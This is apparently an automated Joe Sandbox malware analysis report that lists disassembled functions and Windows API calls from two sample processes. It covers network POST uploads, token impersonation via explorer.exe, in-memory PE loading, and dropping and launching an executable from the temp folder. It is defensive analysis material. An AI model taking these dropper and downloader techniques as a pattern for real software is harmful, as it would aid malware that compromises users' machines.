      • Part of subcall function 004036C5: socket.WSOCK32(00000002,00000001,00000006), ref: 004036D4
      • Part of subcall function 004036C5: connect.WSOCK32(?,00000002,00000010,00000002,00000001,00000006), ref: 00403730
      • Part of subcall function 004036C5: closesocket.WSOCK32(?,?,00000002,00000010,00000002,00000001,00000006), ref: 0040373B
      • Part of subcall function 00403D54: setsockopt.WSOCK32(?,0000FFFF,00000080,00000001,00000004), ref: 00403D79
    • lstrlenA.KERNEL32(?,00001000,00001000,00001000,00001000), ref: 00403EF8
      • Part of subcall function 00403749: send.WSOCK32(?,?,00000000,00000000), ref: 00403770
    • closesocket.WSOCK32(?,?,00001000,00001000,00001000,00001000), ref: 00403F42
      • Part of subcall function 0040393D: StrStrIA.SHLWAPI(?,Content-Length:), ref: 004039C3
      • Part of subcall function 0040393D: lstrlenA.KERNEL32(Content-Length:,00000000,?,Content-Length:), ref: 004039D4
      • Part of subcall function 0040393D: StrToIntA.SHLWAPI ref: 004039F5
      • Part of subcall function 0040393D: StrStrIA.SHLWAPI(?,Location:), ref: 00403A0C
      • Part of subcall function 0040393D: lstrlenA.KERNEL32(Location:,00000000,?,Location:,?,Content-Length:), ref: 00403A1D
      • Part of subcall function 00401813: LocalFree.KERNEL32(00000000), ref: 0040181F
    Strings
    • <, xrefs: 00403E4D
    • POST %s HTTP/1.0Host: %sAccept: */*Accept-Encoding: identity, *;q=0Accept-Language: en-USContent-Length: %luContent-Type: application/octet-streamConnection: closeContent-Encoding: binaryUser-Agent: %s, xrefs: 00403EA5, 00403EC5
    • Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/5.0), xrefs: 00403EB7
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00402AAD, Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 85
    APIs
    • GetCurrentProcess.KERNEL32 ref: 00402AE9
    • OpenProcessToken.ADVAPI32(?,00000008,?), ref: 00402AF5
    • GetTokenInformation.ADVAPI32(?,00000001,00000000,00000000,00000000), ref: 00402B17
    • GetLastError.KERNEL32(?,00000008,?,00402AC7), ref: 00402B21
      • Part of subcall function 0040182A: LocalAlloc.KERNEL32(00000040,C#@), ref: 00401838
    • GetTokenInformation.ADVAPI32(?,00000001,?,00000000,00000000), ref: 00402B4B
    • ConvertSidToStringSidA.ADVAPI32(?,?), ref: 00402B5F
    • lstrcmpA.KERNEL32(?,S-1-5-18,?,?,?,00000008,?,00402AC7), ref: 00402B71
    • LocalFree.KERNEL32(?), ref: 00402B7E
      • Part of subcall function 00401813: LocalFree.KERNEL32(00000000), ref: 0040181F
    • CloseHandle.KERNEL32(?), ref: 00402B8E
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00402CF7, Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 67
    APIs
    • StrStrIA.SHLWAPI(?,explorer.exe), ref: 00402C33
    • ProcessIdToSessionId.KERNEL32(?,00000000), ref: 00402C57
    • OpenProcess.KERNEL32(02000000,00000000,?), ref: 00402C81
    • OpenProcessToken.ADVAPI32(?,000201EB,?), ref: 00402C9D
    • ImpersonateLoggedOnUser.ADVAPI32(?), ref: 00402CAA
    • RegOpenCurrentUser.ADVAPI32(000F003F,00000000), ref: 00402CCB
    • CloseHandle.KERNEL32(?), ref: 00402CFC
    • CloseHandle.KERNEL32(?), ref: 00402D04
    • CloseHandle.KERNEL32(?), ref: 00402D0E
    • Process32Next.KERNEL32(?,00000128), ref: 00402D20
    • CloseHandle.KERNEL32(?), ref: 00402D30
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00405175, Relevance: 13.9, APIs: 11, Instructions: 135
    APIs
    • VirtualAlloc.KERNEL32(?,?,00003000,00000004), ref: 004051B3
    • VirtualAlloc.KERNEL32(00000000,?,00003000,00000004), ref: 004051CB
    • GetProcessHeap.KERNEL32 ref: 004051DB
    • HeapAlloc.KERNEL32(?,00000000,00000024,?,?,?,?,?,?,00405172,?,00405128,00405136,00405149,00000000,004043C2), ref: 004051E6
    • VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 00405228
      • Part of subcall function 00404D80: VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 00404DC8
      • Part of subcall function 00404D80: VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 00404DF4
      • Part of subcall function 00404FC5: SetLastError.KERNEL32(0000007E,?,?,?,?,?), ref: 004050CF
      • Part of subcall function 00404FC5: SetLastError.KERNEL32(0000000E,?,?,?,?,?), ref: 004050E6
      • Part of subcall function 00404FC5: SetLastError.KERNEL32(0000007F,?,?,?,?,?), ref: 004050FD
      • Part of subcall function 00404FC5: IsBadReadPtr.KERNEL32(?,00000014), ref: 00405108
    • SetLastError.KERNEL32(0000045A,?,00000001,00000000,?,?,?,?,?,?,?,?), ref: 0040529F
      • Part of subcall function 004053BF: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 00405424
      • Part of subcall function 004053BF: GetProcessHeap.KERNEL32 ref: 0040542A
      • Part of subcall function 004053BF: HeapFree.KERNEL32(?,00000000,?,?,?,004052AB,?,?,?,?,?,?,?), ref: 00405434
      • Part of subcall function 00404E2C: VirtualFree.KERNEL32(?,?,00004000), ref: 00404E90
      • Part of subcall function 00404E2C: VirtualProtect.KERNEL32(?,?,?,?), ref: 00404EC7
    • SetLastError.KERNEL32(000000C1,?,?,?,?,?,?,00405172,?,00405128,00405136,00405149,00000000,004043C2,?,?), ref: 004052BF
    • SetLastError.KERNEL32(000000C1,?,?,?,?,?,?,00405172,?,00405128,00405136,00405149,00000000,004043C2,?,?), ref: 004052CE
    • SetLastError.KERNEL32(0000000E,?,?,?,?,?,?,00405172,?,00405128,00405136,00405149,00000000,004043C2,?,?), ref: 004052DA
    • SetLastError.KERNEL32(0000000E,?,00000000,00000024,?,?,?,?,?,?,00405172,?,00405128,00405136,00405149,00000000), ref: 004052E6
    • VirtualFree.KERNEL32(?,00000000,00008000), ref: 004052F4
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 0040393D, Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 133
    APIs
      • Part of subcall function 0040182A: LocalAlloc.KERNEL32(00000040,C#@), ref: 00401838
      • Part of subcall function 004037F5: recv.WSOCK32(?,?,00000001,00000000), ref: 00403827
    • StrStrIA.SHLWAPI(?,Content-Length:), ref: 004039C3
    • lstrlenA.KERNEL32(Content-Length:,00000000,?,Content-Length:), ref: 004039D4
    • StrToIntA.SHLWAPI ref: 004039F5
    • StrStrIA.SHLWAPI(?,Location:), ref: 00403A0C
    • lstrlenA.KERNEL32(Location:,00000000,?,Location:,?,Content-Length:), ref: 00403A1D
      • Part of subcall function 004028C4: lstrlenA.KERNEL32(?), ref: 004028CA
      • Part of subcall function 004028C4: lstrcpyA.KERNEL32(?,?,?,?,?), ref: 004028DB
      • Part of subcall function 00403867: recv.WSOCK32(?,?,00000800,00000000), ref: 004038B1
      • Part of subcall function 00401813: LocalFree.KERNEL32(00000000), ref: 0040181F
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00402E23, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 43
    APIs
    • GetModuleHandleA.KERNEL32(kernel32.dll), ref: 00402E31
    • GetProcAddress.KERNEL32(?,GetNativeSystemInfo), ref: 00402E49
    • GetProcAddress.KERNEL32(?,IsWow64Process), ref: 00402E5A
    • GetCurrentProcess.KERNEL32 ref: 00402E69
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00401E94, Relevance: 10.6, APIs: 7, Instructions: 57
    APIs
    • CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00401EB5
    • GetFileSize.KERNEL32(?,00000000), ref: 00401EC3
    • CreateFileMappingA.KERNEL32(?,00000000,00000002,00000000,00000000), ref: 00401ED7
    • MapViewOfFile.KERNEL32(?,00000004,00000000,00000000,00000000), ref: 00401EEC
    • CloseHandle.KERNEL32(?), ref: 00401EFB
    • CloseHandle.KERNEL32 ref: 00401F02
    • CloseHandle.KERNEL32 ref: 00401F11
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 0040269E, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 82
    APIs
    • GetTempPathA.KERNEL32(00000104,?), ref: 004026D4
      • Part of subcall function 00401C8E: lstrlenA.KERNEL32(?), ref: 00401CAF
      • Part of subcall function 00401C8E: lstrlenA.KERNEL32(00000000,?), ref: 00401CB9
      • Part of subcall function 00401C8E: lstrcpyA.KERNEL32(?,?,?,00000000,?), ref: 00401CCD
      • Part of subcall function 00401C8E: lstrcatA.KERNEL32(?,00000000,?,?,?,00000000,?), ref: 00401CD6
    • GetHGlobalFromStream.OLE32(?,?), ref: 00402756
    • GlobalLock.KERNEL32(?), ref: 00402762
      • Part of subcall function 0040182A: LocalAlloc.KERNEL32(00000040,C#@), ref: 00401838
    • GlobalUnlock.KERNEL32(?), ref: 00402784
      • Part of subcall function 00401813: LocalFree.KERNEL32(00000000), ref: 0040181F
      • Part of subcall function 00401CE2: lstrlenA.KERNEL32(?), ref: 00401D03
      • Part of subcall function 00401CE2: lstrlenA.KERNEL32(00000000,?), ref: 00401D0D
      • Part of subcall function 00401CE2: lstrcpyA.KERNEL32(?,?,?,00000000,?), ref: 00401D21
      • Part of subcall function 00401CE2: lstrcatA.KERNEL32(?,00000000,?,?,?,00000000,?), ref: 00401D2A
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00402F25, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54
    APIs
      • Part of subcall function 0040269E: GetTempPathA.KERNEL32(00000104,?), ref: 004026D4
      • Part of subcall function 0040269E: GetHGlobalFromStream.OLE32(?,?), ref: 00402756
      • Part of subcall function 0040269E: GlobalLock.KERNEL32(?), ref: 00402762
      • Part of subcall function 0040269E: GlobalUnlock.KERNEL32(?), ref: 00402784
    • CoCreateGuid.OLE32(?), ref: 00402F48
    • wsprintfA.USER32(?,{%08X-%04X-%04X-%02X%02X-%02X%02X%02X%02X%02X%02X},?,?,?,?,?,?,?,?,?,?,?,?), ref: 00402F8F
    • lstrlenA.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00402F9B
      • Part of subcall function 00402584: RegCreateKeyA.ADVAPI32(Software\WinRAR,?), ref: 0040259F
      • Part of subcall function 00402584: RegSetValueExA.ADVAPI32(?,?,00000000,00000003,?,?), ref: 004025B8
      • Part of subcall function 00402584: RegCloseKey.ADVAPI32(?), ref: 004025C5
      • Part of subcall function 00402584: GetTempPathA.KERNEL32(00000104,?), ref: 004025DE
      • Part of subcall function 00402584: CreateDirectoryA.KERNEL32(?,00000000), ref: 004025FF
      • Part of subcall function 00402584: CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000000,00000000), ref: 0040265A
      • Part of subcall function 00402584: CloseHandle.KERNEL32(?), ref: 00402678
      • Part of subcall function 00402584: DeleteFileA.KERNEL32(?), ref: 00402687
      • Part of subcall function 00401813: LocalFree.KERNEL32(00000000), ref: 0040181F
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 004022C3, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45
    APIs
      • Part of subcall function 00401C8E: lstrlenA.KERNEL32(?), ref: 00401CAF
      • Part of subcall function 00401C8E: lstrlenA.KERNEL32(00000000,?), ref: 00401CB9
      • Part of subcall function 00401C8E: lstrcpyA.KERNEL32(?,?,?,00000000,?), ref: 00401CCD
      • Part of subcall function 00401C8E: lstrcatA.KERNEL32(?,00000000,?,?,?,00000000,?), ref: 00401CD6
    • lstrlenA.KERNEL32(?), ref: 004022D7
    • StrStrIA.SHLWAPI(?,.exe), ref: 004022F6
    • StrRChrIA.SHLWAPI(?,00000000,0000005C), ref: 00402308
    • lstrlenA.KERNEL32(?,?), ref: 0040231A
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 004041C2, Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 274
    APIs
      • Part of subcall function 0040182A: LocalAlloc.KERNEL32(00000040,C#@), ref: 00401838
      • Part of subcall function 00401813: LocalFree.KERNEL32(00000000), ref: 0040181F
    • CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000000,00000000), ref: 004043FE
    • DeleteFileA.KERNEL32(?), ref: 00404428
      • Part of subcall function 00401460: WriteFile.KERNEL32(?,?,?,?,00000000), ref: 00401477
    • CloseHandle.KERNEL32(?), ref: 0040441C
      • Part of subcall function 004017C6: GetHGlobalFromStream.OLE32(?,?), ref: 004017D3
      • Part of subcall function 004017C6: GlobalLock.KERNEL32(?), ref: 004017EA
      • Part of subcall function 004017C6: GlobalUnlock.KERNEL32(?), ref: 00401802
      • Part of subcall function 0040408B: GetTempPathA.KERNEL32(00000104,?), ref: 004040AA
      • Part of subcall function 0040408B: wsprintfA.USER32(?,%d.exe,?,00000104,?), ref: 004040DA
      • Part of subcall function 0040408B: CreateDirectoryA.KERNEL32(?,00000000), ref: 004040EB
      • Part of subcall function 004014A1: CreateFileA.KERNEL32(?,C0000000,00000003,00000000,00000002,00000000,00000000), ref: 004014BF
      • Part of subcall function 004014A1: CloseHandle.KERNEL32(?), ref: 00401518
      • Part of subcall function 00402D3C: CreateProcessAsUserA.ADVAPI32(00000000,00000000,00000000,00000000,00000000,00000000,00000400,00000000,00000000,00000044,?), ref: 00402DCE
      • Part of subcall function 00402D3C: ShellExecuteA.SHELL32(00000000,open,00000000,00000000,00000000,0000000A), ref: 00402DFB
      • Part of subcall function 00404141: lstrlenA.KERNEL32(true), ref: 0040414C
      • Part of subcall function 00404141: lstrlenA.KERNEL32(true,true), ref: 00404161
      • Part of subcall function 00404180: lstrlenA.KERNEL32(true), ref: 0040418B
    Strings
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00405305, Relevance: 6.3, APIs: 5, Instructions: 73
    APIs
    • lstrcmpA.KERNEL32(?), ref: 0040534B
    • SetLastError.KERNEL32(0000007F), ref: 0040537E
    • SetLastError.KERNEL32(0000007F), ref: 0040538A
    • SetLastError.KERNEL32(0000007F), ref: 00405396
    • SetLastError.KERNEL32(0000007F), ref: 004053A2
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00401982, Relevance: 6.1, APIs: 4, Instructions: 64
    APIs
    • GetTickCount.KERNEL32 ref: 0040198C
    • GetHGlobalFromStream.OLE32(?,?), ref: 004019A5
    • GlobalLock.KERNEL32(?), ref: 004019C0
      • Part of subcall function 0040182A: LocalAlloc.KERNEL32(00000040,C#@), ref: 00401838
    • GlobalUnlock.KERNEL32(?), ref: 004019E8
      • Part of subcall function 00401813: LocalFree.KERNEL32(00000000), ref: 0040181F
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00401CE2, Relevance: 6.0, APIs: 4, Instructions: 33
    APIs
    • lstrlenA.KERNEL32(?), ref: 00401D03
    • lstrlenA.KERNEL32(00000000,?), ref: 00401D0D
      • Part of subcall function 0040182A: LocalAlloc.KERNEL32(00000040,C#@), ref: 00401838
    • lstrcpyA.KERNEL32(?,?,?,00000000,?), ref: 00401D21
    • lstrcatA.KERNEL32(?,00000000,?,?,?,00000000,?), ref: 00401D2A
      • Part of subcall function 00401813: LocalFree.KERNEL32(00000000), ref: 0040181F
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00401C8E, Relevance: 6.0, APIs: 4, Instructions: 29
    APIs
    • lstrlenA.KERNEL32(?), ref: 00401CAF
    • lstrlenA.KERNEL32(00000000,?), ref: 00401CB9
      • Part of subcall function 0040182A: LocalAlloc.KERNEL32(00000040,C#@), ref: 00401838
    • lstrcpyA.KERNEL32(?,?,?,00000000,?), ref: 00401CCD
    • lstrcatA.KERNEL32(?,00000000,?,?,?,00000000,?), ref: 00401CD6
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00401D47, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 45
    APIs
      • Part of subcall function 0040182A: LocalAlloc.KERNEL32(00000040,C#@), ref: 00401838
    • SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?), ref: 00401D72
      • Part of subcall function 00401813: LocalFree.KERNEL32(00000000), ref: 0040181F
    Strings
    • Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders, xrefs: 00401DA7
    • d@, xrefs: 00401D8B
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00404FC5, Relevance: 5.1, APIs: 4, Instructions: 122
    APIs
    • SetLastError.KERNEL32(0000007E,?,?,?,?,?), ref: 004050CF
      • Part of subcall function 00405440: GetProcessHeap.KERNEL32 ref: 0040544E
      • Part of subcall function 00405440: HeapReAlloc.KERNEL32(?,00000000,?,00000000,?,?,?,?,?), ref: 00405459
      • Part of subcall function 00405440: GetProcessHeap.KERNEL32 ref: 00405461
      • Part of subcall function 00405440: HeapAlloc.KERNEL32(?,00000000,00000000,?,?,?,?,?), ref: 0040546B
    • SetLastError.KERNEL32(0000000E,?,?,?,?,?), ref: 004050E6
    • SetLastError.KERNEL32(0000007F,?,?,?,?,?), ref: 004050FD
    • IsBadReadPtr.KERNEL32(?,00000014), ref: 00405108
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd
    Function 00405440, Relevance: 5.0, APIs: 4, Instructions: 21
    APIs
    • GetProcessHeap.KERNEL32 ref: 0040544E
    • HeapReAlloc.KERNEL32(?,00000000,?,00000000,?,?,?,?,?), ref: 00405459
    • GetProcessHeap.KERNEL32 ref: 00405461
    • HeapAlloc.KERNEL32(?,00000000,00000000,?,?,?,?,?), ref: 0040546B
    Memory Dump Source
    • Source File: 00000004.00000002.626186612.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000004.00000002.626181594.00400000.00000002.sdmp
    • Associated: 00000004.00000002.626192806.00406000.00000004.sdmp
    • Associated: 00000004.00000002.626197890.00408000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_4_2_ZwGuKEMphiZgNT.jbxd

    Analysis Process: 3463226.exe PID: 1652 Parent PID: 1640

    Executed Functions

    Function 0041BB34, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 57
    APIs
    • InitializeSecurityDescriptor.ADVAPI32(00432B08,00000001), ref: 0041BB3E
    • SetSecurityDescriptorDacl.ADVAPI32(00432B08,00000001,00000000,00000000), ref: 0041BB4F
    • ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32(S:(ML;;NRNWNX;;;LW),00000001,00432F90,00000000), ref: 0041BB65
    • GetSecurityDescriptorSacl.ADVAPI32(00432F90,?,00407CC0,00000000), ref: 0041BB81
    • SetSecurityDescriptorSacl.ADVAPI32(00432B08,?,00407CC0,00000000), ref: 0041BB95
    • LocalFree.KERNEL32(00432F90), ref: 0041BBA2
    Strings
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 004088DB, Relevance: 9.1, APIs: 6, Instructions: 128
    APIs
      • Part of subcall function 00407BA3: HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 00407BDA
      • Part of subcall function 00407BA3: GetProcessHeap.KERNEL32 ref: 00407BE9
      • Part of subcall function 00407BA3: WSAStartup.WS2_32(00000202,?), ref: 00407C1C
      • Part of subcall function 00407BA3: InitializeCriticalSection.KERNEL32(004345A0), ref: 00407C3D
      • Part of subcall function 00407BA3: GetCurrentProcess.KERNEL32 ref: 00407C55
      • Part of subcall function 00407BA3: GetModuleFileNameExW.PSAPI ref: 00407C5C
      • Part of subcall function 00407BA3: CreateEventW.KERNEL32(00432AFC,00000001,00000000,00000000), ref: 00407CD5
      • Part of subcall function 00407BA3: GetLengthSid.ADVAPI32(?,000000FF,00432AC0,00432F90), ref: 00407D0A
      • Part of subcall function 00407BA3: GetCurrentProcessId.KERNEL32 ref: 00407D37
    • SetErrorMode.KERNEL32(00008007), ref: 00408902
    • GetCommandLineW.KERNEL32 ref: 0040890C
    • CommandLineToArgvW.SHELL32 ref: 00408913
    • ExitProcess.KERNEL32(00000000,00000000), ref: 004089B3
    • NtClose.NTDLL(?,?,00000000), ref: 00408A9E
    • Sleep.KERNEL32(0000000A), ref: 00408AAD
    Memory Dump Source
    • Source File: 00000005.00000002.644268254.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000002.644255670.00400000.00000002.sdmp
    • Associated: 00000005.00000002.644324537.00432000.00000004.sdmp
    • Associated: 00000005.00000002.644334194.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_2_3463226.1.2.3.jbxd
    Function 00419B00, Relevance: 3.2, APIs: 2, Instructions: 204
    APIs
    Memory Dump Source
    • Source File: 00000005.00000000.625346868.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000000.625340815.00400000.00000002.sdmp
    • Associated: 00000005.00000000.625386957.00426000.00000002.sdmp
    • Associated: 00000005.00000000.625426806.00439000.00000008.sdmp
    • Associated: 00000005.00000000.625562563.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_0_3463226.jbxd
    Function 00419B00, Relevance: 3.2, APIs: 2, Instructions: 204
    APIs
    Memory Dump Source
    • Source File: 00000005.00000001.625727669.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000005.00000001.625706403.00400000.00000002.sdmp
    • Associated: 00000005.00000001.625757880.00426000.00000002.sdmp
    • Associated: 00000005.00000001.625781544.00439000.00000008.sdmp
    • Associated: 00000005.00000001.625828970.00455000.00000004.sdmp
    • Associated: 00000005.00000001.626082610.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_5_1_3463226.jbxd
    Function 00407D40, Relevance: 89.3, APIs: 23, Strings: 27, Instructions: 1802
    APIs
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00407F76
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408286
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408304
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00408487
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 004086A5
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 004087B1
    • MapAndLoad.IMAGEHLP(o5gHO2q0,y6L1D,0012FE18,00000000,00000000), ref: 00408D42
    • MapAndLoad.IMAGEHLP(aW8A049,nPI31,0012FE18,00000000,00000000), ref: 00408E50
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408F3C
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00408FDE
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409205
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 0040979B
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409AD6
    • RegUnLoadKeyA.ADVAPI32(00000000,0012FF14), ref: 00409BFA
    • MapAndLoad.IMAGEHLP(sp3G49i0,Bfh9,0012FE18,00000000,00000000), ref: 00409CDA
    • RegUnLoadKeyW.ADVAPI32(00000000,0012FF14), ref: 00409E16
